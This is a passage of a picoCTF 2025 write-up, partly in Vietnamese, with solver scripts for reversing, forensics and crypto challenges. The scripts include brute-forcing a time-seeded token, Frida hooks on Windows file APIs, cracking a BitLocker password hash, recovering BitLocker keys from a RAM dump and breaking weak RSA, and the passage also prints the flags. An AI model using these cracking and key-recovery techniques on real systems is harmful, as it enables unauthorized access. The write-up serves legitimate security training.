plain_block return unpad(plaintext) k = b'\xa9\xcco`\xfa\xf9\xb5\xc0\xda\xf6*\xb3\xbe\xa9t\x0fi\xae\x13\x01q-\xae\x9ap\xb7\xa45\x1e{\xaa\xb4' c = b'\xf7Y\x8db\x8bS\xb2\x80q\xf2\xa0\x87\xd6(\xfc\xe6\xf2\\\x82`\x8c\\\xb4\xd4v\xf0\xf2\xd1\xde/\xfa\xb0\xfb]\xdfg\x8bV\xe2\xd1$\xa5\xa6\xd9\x8c+\xa8\xe7\xa6X\x82d\xda\x01\xb1\x85u\xa4\xa3\xd3\xda}\xff\xbc\xeeZ\x8am\x8d\x01\xb1\x84$\xa1\xf4\x85\x8c,\xfa\xe7\xf0S\x8f4\x8f\x02\xb1\x82w\xf1\xf6\x85\xd7/\xff\xb3\xa6]\xdf`\x8b\x00\xe3\xd1"\xf2\xf6\xd8\xda|\xfd\xb7\xf3Z\xd83\xdc\\\xbe\xd6!\xa2\xae\xd8\x8c{\xfa\xb0\xf2G\x8ae\x8a\x01\xe3\xd7q\xf4\xa3\xd9\x8aq\xfd\xbd\xfb\x08\x8ag\x8dQ\xe3\xd0"\xa4\xf2\x84\xdeq\xac\xb5\xf4\x0e\xca\xdd\x0b\xc5\xe6U\xbc\xf5\x8d\x81*\xa6\xdb\xf09\xe8=\xe8\r\xd4\xd0G\xf6\xe6\x82\xb6\x16\x95\xd1\xa9\'\x8a\'\x8a]\xe5\xfaL\xb6\xd4\x9b\x83\x03\x97\xfe\x81!\xe5a\x87\\\xbf\xd4*\xa2\xf6\x9c\xdex\xf4\xe5\xf6R\x8em\x87W\xb1\x80 \xf5\xf4\xd6\x8a{\xfd\xe7\xf3\x08\x89d\xdfP\xb2\x82u\xf4\xa0\x80\xc3y\xfd\xb2\xa5[\x83m\x8dQ\xe5\x84+\xfe\xa5\x84\xd7p\xf4\xb6\xf1S\x89m\xddQ\xb0\xd7&\xf2\xf2\xd3\x8b,\xf9\xb5\xfa\x08\xd8f\x8c\\\xe5\xd7"\xf3\xf6\xd4\x8c|\xac\xe5\xa7\x08\x8ag\x8d\x02\xbe\xd1$\xa2\xa3\x80\x8ad\xfd\xb4\xa6]\xdc0\xd8W\xb1\x85q\xa5\xf6\x80\xdbq\xa9\xb5\xf0_\xdee\x8e\x00\xbe\xd3r\xf4\xa2\xd4\x88y\xf4\xb0\xa5_\xdc4\xda\x05\xb7\x80r\xf1\xa3\x84\x8ap\xfb\xb2\xfa\x08\x8c`\x8eR\xe3\x81q\xfe\xae\x84\x88x\xcf\x86' d = decrypt(c, k) print("Decrypted Blockchain:", d.decode('utf-8')) ``` >Flag: picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_4989f9ea} ## Chronohack >Can you guess the exact token and unlock the hidden flag? Our school relies on tokens to authenticate students. Unfortunately, someone leaked an important file for token generation. Guess the token to get the flag. ```python= from pwn import * import random import time HOST = "verbal-sleep.picoctf.net" PORT = 51051 ALPHABET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" TOKEN_LENGTH = 20 OFFSET_RANGE = 5000 def get_random(length, seed): random.seed(seed) return "".join(random.choice(ALPHABET) for _ in range(length)) def send_to_server(io, start_offset): current_time = int(time.time() * 1000) for offset in range(start_offset, OFFSET_RANGE): guess_time = current_time + offset message = get_random(TOKEN_LENGTH, guess_time) print(f"[*] Trying offset {offset}: {message}") io.sendline(message) try: response = io.recvline(timeout=1).decode().strip() print(f"[SERVER]: {response}") if "Congratulations" in response: print("[+] Correct token found:", message) io.interactive() return True except EOFError: print("[!] Server closed connection. Reconnecting...") return offset except Exception as e: print(f"[!] Error: {e}") return offset return None start_offset = -OFFSET_RANGE while True: try: io = remote(HOST, PORT) result = send_to_server(io, start_offset) io.close() if result is True: break elif isinstance(result, int): start_offset = result print("[-] Failed to guess token. Retrying...") time.sleep(1) except EOFError: print("[!] Server closed connection. Retrying...") time.sleep(1) continue except KeyboardInterrupt: print("\n[!] Exiting...") break ``` >Flag: picoCTF{UseSecure#$_Random@j3n3r@T0rs8a8d9ae0} ## Quantum Scrambler >We invented a new cypher that uses "quantum entanglement" to encode the flag. Do you have what it takes to decode it? ```python= from pwn import remote import ast def unscramble(L): A = L.copy() i = len(A) - 1 while i >= 2: original_part = A[i-1].pop() A[:i-2] = original_part popped_value = A[i-2][-len(A[i-1]):] A[i-2] = A[i-2][:-len(A[i-1])] A.insert(i-1, popped_value) i -= 1 return A host, port = "verbal-sleep.picoctf.net", 65513 p = remote(host, port) data = p.recvall().decode().strip() scrambled_flag = eval(data) original_flag_hex = unscramble(scrambled_flag) flag = ''.join(chr(int(x[0], 16)) for x in original_flag_hex) print("Flag:", flag) ``` >Flag: picoCTF{python_is_weirdaa2ca6fc} ## Binary Instrumentation 2 >I've been learning more Windows API functions to do my bidding. Hmm... I swear this program was supposed to create a file and write the flag directly to the file. Can you try and intercept the file writing function to see what went wrong? >Hint: You can specify the exact function name you want to trace Trong bài này, đề bài cho thông tin về Window API function, mình đã search thông tin trên google thì xuất hiện một library về Window API là [fileapi.h](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/). Dựa vào hint đã cho, mình sẽ track xem hàm nào trong lib này đã xuất hiện trong file. Đây là đoạn code mình dùng để xác định hàm: ```javascript= const functions = [ "CreateFileA", "CreateFileW", "ReadFile", "WriteFile", "DeleteFileA", "DeleteFileW", "CopyFileA", "CopyFileW", "MoveFileA", "MoveFileW", "GetFileSize", "GetFileSizeEx", "SetFilePointer", "SetEndOfFile", "CloseHandle" ]; const kernel32 = Module.findExportByName("kernel32.dll", "CreateFileA"); if (!kernel32) { console.log("[-] kernel32.dll not loaded."); } else { console.log("[+] kernel32.dll found, hooking file API functions."); } functions.forEach(function (name) { const address = Module.findExportByName("kernel32.dll", name); if (address) { Interceptor.attach(address, { onEnter: function (args) { console.log("[*] " + name + " called"); if (name.includes("CreateFile")) { console.log("\tFile Path: " + Memory.readUtf16String(args[0])); } }, onLeave: function (retval) { console.log("[*] " + name + " returned: " + retval); } }); } else { console.log("[-] " + name + " not found in kernel32.dll"); } }); ``` Sau khi xác định được hàm CreateFileA đã xuất hiện khi file chạy, mình đã kiểm tra raw mem và phát hiện sau hàm CreateFileA có tồn tại đoạn base64. Decode ra và ta được flag. Đây là đoạn code được dùng để dump ra raw mem: ```javascript= const functions = ["CreateFileA", "CreateFileW"]; functions.forEach(function (name) { const address = Module.findExportByName("kernel32.dll", name); if (address) { Interceptor.attach(address, { onEnter: function (args) { console.log("[*] " + name + " called"); console.log("\targs[0] (pointer): " + args[0]); if (args[0].isNull()) { console.log("\t[!] args[0] is NULL, cannot read file path."); return; } try { let actualPtr = args[0]; // The pointer we will read from console.log("\t[+] Raw Memory Dump at args[0]:"); console.log(hexdump(actualPtr, { length: 104 })); // Check if args[0] is pointing to another pointer let possiblePtr = Memory.readPointer(actualPtr); console.log("\t[+] Potential Dereferenced Pointer: " + possiblePtr); console.log("\t[+] Raw Memory Dump at possiblePtr:"); console.log(hexdump(possiblePtr, { length: 64 })); let path; if (name === "CreateFileA") { path = Memory.readUtf8String(possiblePtr); // Read as ANSI } else if (name === "CreateFileW") { path = Memory.readUtf16String(possiblePtr); // Read as Unicode } console.log("\t[+] Resolved File Path: " + path); } catch (e) { console.log("\t[!] Error reading file path: " + e); } }, onLeave: function (retval) { console.log("[*] " + name + " returned: " + retval); } }); } else { console.log("[-] " + name + " not found in kernel32.dll"); } }); ``` ![image](https://hackmd.io/_uploads/SyeyI2p3Jl.png) >Flag: picoCTF{fr1da_f0r_in5trum3nt4tion!_b21aef39} ## perplexed >Download the binary here. ```python= def solve_password(): expected = [ 0xE1, 0xA7, 0x1E, 0xF8, 0x75, 0x23, 0x7B, 0x61, 0xB9, 0x9D, 0xFC, 0x5A, 0x5B, 0xDF, 0x69, 0xD2, 0xFE, 0x1B, 0xED, 0xF4, 0xED, 0x67, 0xF4 ] password = bytearray(27) local_1c = 0 local_20 = 0 for local_24 in range(0x17): for local_28 in range(8): if local_20 == 0: local_20 = 1 local_30 = 1 << (7 - local_28) local_34 = 1 << (7 - local_20) expected_bit_set = (expected[local_24] & local_30) > 0 if expected_bit_set: password[local_1c] |= local_34 local_20 += 1 if local_20 == 8: local_20 = 0 local_1c += 1 if local_1c >= 27: break if local_1c >= 27: break result = password.decode('ascii', errors='replace') return result password = solve_password() print(password) ``` >Flag: picoCTF{0n3_bi7_4t_a_7im3} # FORENSIC ## Ph4nt0m 1ntrud3r >A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag. To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder! Find the PCAP file here Network Traffic PCAP file and try to get the flag. Mình lấy 1 số mã base64 được tìm thấy trong gói tin và decode ra, sau đó ghép lại thành flag. ```python= import base64 def decode_base64(encoded_data: str) -> str: try: decoded_bytes = base64.b64decode(encoded_data.encode('utf-8'), validate=True) return decoded_bytes.decode('utf-8', errors='ignore') except Exception as e: return f"Error decoding: {encoded_data}" original_text = { "YmhfNHJfYQ==", "bnRfdGg0dA==", "cGljb0NURg==", "ZjE2MDk4MA==", "XzM0c3lfdA==", "ezF0X3c0cw==", "fQ==" } for encoded in original_text: print(encoded +": "+decode_base64(encoded)) ``` >Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_9_59f50d3} ## RED - Từ những hint mà đề bài đưa ra thì ta suy đoán rằng: - Ta nên kiểm tra kênh màu riêng biệt (đặc biệt là kênh Red). - Kiểm tra LSB của ảnh để tìm thông tin ẩn bằng zsteg. ![image](https://hackmd.io/_uploads/B1kP7RshJe.png) Flag:`picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}` ## flags are stepic >A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message >Hint: In the country that doesn't exist, the flag persists Ở bài này, ta sẽ nhận được một trang web chứa nhiều lá cờ của các nước. Dựa vào hint, ta sẽ tìm một nước không hề tồn tại, đó là **Upanzi, Republic The**. ![image](https://hackmd.io/_uploads/SyqcGapnkl.png) Tải file ảnh về, dựa vào tên đề bài, ta sử dụng lib stepic để decode file ảnh. ![image](https://hackmd.io/_uploads/HkZkmpa3Jl.png) Đây là đoạn code mình dùng để làm bài này: ```python= import stepic from PIL import Image image = Image.open("upz.png") hidden_data = stepic.decode(image) print(hidden_data) ``` >Flag: picoCTF{fl4g_h45_fl4g00518d32} ## Bitlocker-1 - Sử dụng bitlocker2john để xuất ra hash ``` bitlocker2john -i bitlocker-1.dd > bitlocker_hash.txt ``` - Nội dung của file bitlocker_hash.txt ``` Encrypted device bitlocker-1.dd opened, size 100MB Salt: 2b71884a0ef66f0b9de049a82a39d15b RP Nonce: 00be8a46ead6da0106000000 RP MAC: a28f1a60db3e3fe4049a821c3aea5e4b RP VMK: a1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58 UP Nonce: d04d9c58eed6da010a000000 UP MAC: 68156e51e53f0a01c076a32ba2b2999a UP VMK: fffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d User Password hash: $bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d Hash type: User Password with MAC verification (slower solution, no false positives) $bitlocker$1$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d Hash type: Recovery Password fast attack $bitlocker$2$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58 Hash type: Recovery Password with MAC verification (slower solution, no false positives) $bitlocker$3$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58 ``` - Sau khi crack thì ta được thông tin như sau: - Khóa 2: jacqueline ![image](https://hackmd.io/_uploads/SJpmrwn2ye.png) - Thử key tìm được để giải mã `sudo dislocker -V bitlocker-1.dd -u"jacqueline" -- /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/bitlocker1` - Mount `sudo mount -o loop /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/bitlocker1/dislocker-file /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/decrypted` - Đọc file flag.txt: `sudo cat /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/decrypted/flag.txt` Flag: `picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}` ## Event-Viewing >One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows: They installed software using an installer they downloaded online They ran the installed software but it seemed to do nothing Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly. See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs! Download the Windows Log file here >Hint: Try to filter the logs with the right event ID Ở bài này, ta sẽ phải fitler các ID event dựa trên case của đề bài. Nếu như bài này không có AI hỗ trợ, thì ta sẽ phải phân tích case và tìm các ID event liên quan đến case ở [trang này](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/), khiến cho bài này trở thành một bài khá tốn thời gian. Đây là các event ID mà mình đã tìm được. - Mảnh Flag thứ nhất: picoCTF{Ev3nt_vi3wv3r_ Event ID: 1033 Evidence of Software Installation: Event ID: 1033 (Source: MsiInstaller) Provides information about installed software packages. - Mảnh Flag thứ hai: 1s_a_pr3tty_us3ful_ Event ID for Malware Execution: Event ID: 4657 (Registry Modification - Security) Source: Security Tracks changes to registry values. Useful for detecting persistence techniques like Run keys. - Mảnh Flag thứ ba: t00l_81ba3fe9} Evidence of the Auto Shutdown Trigger: Event ID: 1074 (Source: User32) Captures shutdown events. Look for the reason and process that triggered it. >Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9} ## Bitlocker-2 >Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption! >Hint: Try using a volatility plugin 2 solutions: trước ngày 11/3 và sau ngày 11/3 - Trước ngày 11/3 Bài này có một trick lỏ mà ta có thể sử dụng vì tác giả đã để lộ flag nằm trong file ram, nên chúng ta có thể sử dụng lệnh strings để in ra flag ![image](https://hackmd.io/_uploads/SkarCsa2Jg.png) - Sau ngày 11/3 (tác giả đã bỏ flag trong ram ra) Theo như hint, mình sẽ sử dụng volatility2 và dùng [plugin bitlocker](https://github.com/breppo/Volatility-BitLocker) để dump ra các key cần thiết và mount drive. Đầu tiên, ta sẽ kiểm tra version của hệ điều hành: ![image](https://hackmd.io/_uploads/HJa2K66hke.png) Sau khi xác định được đây là **Win10x64_19041**, mình sẽ tiến hành sử dụng plugin bitlocker: ```python2 vol.py -f memdump.mem bitlocker --profile=Win10x64_19041 --dislocker ~/volatility/key``` ![image](https://hackmd.io/_uploads/S1TGp0pnye.png) Chuyển file bitlocker-2.dd thành một ổ đĩa ảo để có thể truy cập như một ổ cứng thật: ```sudo losetup -fP bitlocker-2.dd``` Tạo 2 folder unlocked và dislockerPICO: ```sudo mkdir /mnt/unlocked && sudo mkdir /mnt/dislockerPICO``` Chỉ cần thử key đầu tiên là ta đã mount được rồi. ![image](https://hackmd.io/_uploads/HJ5raRT3yx.png) ![image](https://hackmd.io/_uploads/BJKYT063Jl.png) Sau đó chỉ cần cat flag là xong: ![image](https://hackmd.io/_uploads/Hypyl1Ah1e.png) >Flag: picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b} # CRYPTO ## hashcrack - Chall: ![image](https://hackmd.io/_uploads/H1sakV331e.png) - Sol: ![image](https://hackmd.io/_uploads/BJv8-4h2ye.png) ![image](https://hackmd.io/_uploads/ryFDWV3hJl.png) - Flag: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_36a1cf73} ## EVEN RSA CAN BE BROKEN??? - Chall: + ![image](https://hackmd.io/_uploads/S14VL43nyl.png) + chall.py ```python= from sys import exit from Crypto.Util.number import bytes_to_long, inverse from setup import get_primes e = 65537 def gen_key(k): """ Generates RSA key with k bits """ p,q = get_primes(k//2) N = p*q d = inverse(e, (p-1)*(q-1)) return ((N,e), d) def encrypt(pubkey, m): N,e = pubkey return pow(bytes_to_long(m.encode('utf-8')), e, N) def main(flag): pubkey, _privkey = gen_key(1024) encrypted = encrypt(pubkey, flag) return (pubkey[0], encrypted) if __name__ == "__main__": flag = open('flag.txt', 'r').read() flag = flag.strip() N, cypher = main(flag) print("N:", N) print("e:", e) print("cyphertext:", cypher) exit() ``` - Khi connect tới sever, sever trả về `(N, e, c)` ![image](https://hackmd.io/_uploads/ByK-vN2hyx.png) - Ta thấy `N` là số chẵn => ít nhất một trong 2 số `p`, `q` phải chẵn, mà trong các số nguyên tố chỉ có `2` là số chẵn => `p=2`, `q=N/2` - Code: ```python= from Crypto.Util.number import inverse, long_to_bytes N = 25364894754034247444184506854949528901201835965568927199659397838167073326011456824842634814818192705913897307527297445087912938764676662995307802574675366 e = 65537 ciphertext = 18916114424642092224868628114346122525655899214294721303302687114740364067997731014103406656643362302395778319759890732633711479510853919695716334808169383 p = 2 q = N//2 phi = (p-1)*(q-1) d = inverse(e, phi) flag = long_to_bytes(pow(ciphertext, d, N)) print(flag) ``` - Flag: picoCTF{tw0_1$_pr!m3625a858b} ## Guess My Cheese (Part 1) >Try to decrypt the secret cheese password to prove you're not the imposter! >Hint: Remember that cipher we devised together Squeexy? The one that incorporates your affinity for linear equations??? Dựa vào hint, ta sẽ xài thuật Affine Cipher để giải mã. Đầu tiên, ta chọn MOZZARELLA để encrypt. Sau đó, lên [dcode](https://www.dcode.fr/affine-cipher) để tìm key. ![image](https://hackmd.io/_uploads/BJR-f2T21l.png) ![image](https://hackmd.io/_uploads/HkWrzhp3kg.png) Sau đó từ key tìm được, ta sẽ decrypt đề bài. ![image](https://hackmd.io/_uploads/HyQOGhahkg.png) ![image](https://hackmd.io/_uploads/Bk-Yz36h1g.png) >Flag: picoCTF{ChEeSy8313f058} ## Guess My Cheese (Part 2) >The imposter was able to fool us last time, so we've strengthened our defenses! ```python= from pwn import * import hashlib p = remote('verbal-sleep.picoctf.net', 54640) p.recvuntil(b'guess it: ') target_hash = p.recvline().strip().decode('utf-8') p.sendlineafter(b'What would you like to do?\n', b'g') with open("cheese_list.txt", "r", encoding="utf-8") as f: cheeses = [line.strip() for line in f if line.strip()] def try_variants(cheese_str): variants = { cheese_str, cheese_str.strip(), cheese_str.lower(), cheese_str.strip().lower(), cheese_str.replace(" ", ""), cheese_str.strip().replace(" ", ""), cheese_str + "\n", cheese_str.strip() + "\n" } cheese_bytes_list = [v.encode("utf-8") for v in variants] for i in range(256): salt_bin = bytes([i]) salt_hex = f"{i:02x}".encode("utf-8") for cheese_bytes in cheese_bytes_list: candidates = [ salt_bin + cheese_bytes, cheese_bytes + salt_bin, cheese_bytes[:len(cheese_bytes)//2] + salt_bin + cheese_bytes[len(cheese_bytes)//2:], salt_hex + cheese_bytes, cheese_bytes + salt_hex, cheese_bytes[:len(cheese_bytes)//2] + salt_hex + cheese_bytes[len(cheese_bytes)//2:] ] for candidate in candidates: if hashlib.sha256(candidate).hexdigest() == target_hash: log.success(f"Match Found! Cheese: {repr(cheese_bytes)} | Salt: {i} ({hex(i)})") p.sendline(cheese_bytes) p.sendline(f"{i:02x}".encode()) p.interactive() return True return False for cheese in cheeses: if try_variants(cheese): break else: log.failure("Not found!!") ``` >Flag: picoCTF{cHeEsY6ce3864c}